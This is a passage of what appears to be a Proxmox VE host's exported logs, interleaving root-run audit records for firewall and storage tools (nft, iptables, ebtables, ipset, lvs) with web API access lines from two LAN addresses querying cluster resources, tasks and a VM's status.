comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965618099,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964655952,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.952:61992): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966276033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966276.033:69172): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.507:68577): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdbec13b30 a1=580230b25310 a2=580230b1e680 a3=5 items=1 ppid=65853 pid=65854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965924787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.787:67677): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515677,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:35 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285658,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.658:69193): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964640618,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964264793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964264.793:60274): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c62f0 a1=64f8d73de610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965616793,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.951:61991): argc=1 a0=\"date\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966276.023:69169): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966130511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966130.511:68567): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965924787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.787:67676): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515677,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:35 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285657,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.657:69192): argc=1 a0=\"date\""} {"@timestamp":1781964639594,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964264747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964264.747:60273): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73af880 a1=64f8d73b9470 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615811,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964655947,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.947:61989): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966275593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.593:69166): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60c5422a2e60 items=0 ppid=1156 pid=66412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966130511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966130.511:68566): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965924777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.777:67674): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964511650,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:31 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285653,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.653:69190): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964636689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964263522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964263.522:60272): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615811,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964655941,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.941:61988): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966275587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.587:69165): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966130504,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966130.504:68564): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965924777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965924.777:67673): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964507621,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:27 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285648,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.648:69189): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964636689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964263.514:60269): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615811,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964655934,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.934:61987): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966275583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.583:69164): arch=c000003e syscall=59 success=yes exit=0 a0=6450a96170e0 a1=6450a9613e60 a2=6450a95f5680 a3=5 items=2 ppid=66405 pid=66411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966130504,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966130.504:68563): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965919764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965919.764:67669): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964504602,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:23 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285643,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.643:69188): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964635707,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964258507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964258.507:60266): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965614771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964655930,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.930:61986): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966275579,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.579:69163): arch=c000003e syscall=59 success=yes exit=0 a0=64508898dac8 a1=7ffe2c6c81c0 a2=6450a95f5680 a3=64508897124e items=2 ppid=66405 pid=66407 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.494:68561): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965919764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965919.764:67668): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964503580,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:23 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285638,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.638:69187): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964632706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964258.497:60263): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965614771,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964655922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.922:61985): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966275578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.578:69162): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe2c6c8180 a1=6450a95fc310 a2=6450a95f5680 a3=5 items=2 ppid=66405 pid=66406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.494:68560): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965919756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965919.756:67666): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964499715,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:19 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285633,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.633:69186): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964631653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964255326,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.326:60260): arch=c000003e syscall=59 success=yes exit=0 a0=5c28c769ee90 a1=5c28c769bc10 a2=5c28c767d680 a3=5 items=2 ppid=57859 pid=57865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965614771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 879"} {"@timestamp":1781964655915,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.915:61984): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966275573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.573:69160): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66405 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.486:68558): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965919756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965919.756:67665): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964495533,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:14 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/shared/icon-error.png HTTP/1.1\" 200 18494"} {"@timestamp":1781966285627,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.627:69185): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964630659,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 853"} {"@timestamp":1781964255323,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.323:60259): arch=c000003e syscall=59 success=yes exit=0 a0=5c288f625ac8 a1=7ffdc14b3aa0 a2=5c28c767d680 a3=5c288f60924e items=2 ppid=57859 pid=57861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965612754,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781966275566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.566:69159): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964655172,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.172:61983): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.486:68557): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.921:67661): arch=c000003e syscall=59 success=no exit=-2 a0=7fff08707640 a1=5d69123be310 a2=5d69123b7680 a3=5 items=1 ppid=64978 pid=64979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964495533,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:14 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/tools/tool-sprites.png HTTP/1.1\" 200 24404"} {"@timestamp":1781966285620,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.620:69184): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964628637,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964255320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.320:60258): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdc14b3a60 a1=5c28c7684310 a2=5c28c767d680 a3=5 items=2 ppid=57859 pid=57860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965612754,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781966275560,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.560:69158): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964655164,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.164:61980): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.444:68553): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdddabc470 a1=5a3690ac81c0 a2=5a3690aa6680 a3=5 items=1 ppid=65833 pid=65834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.821:67643): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe4e49bab0 a1=5b91bed7b310 a2=5b91bed74680 a3=5 items=1 ppid=64959 pid=64960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964495533,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:14 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285613,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.613:69183): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964627529,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964255316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.316:60256): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc135f20 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57859 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965612008,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966275554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.554:69157): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964654463,"@rawstring":"node=pve type=EXECVE msg=audit(1781964654.463:61977): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" 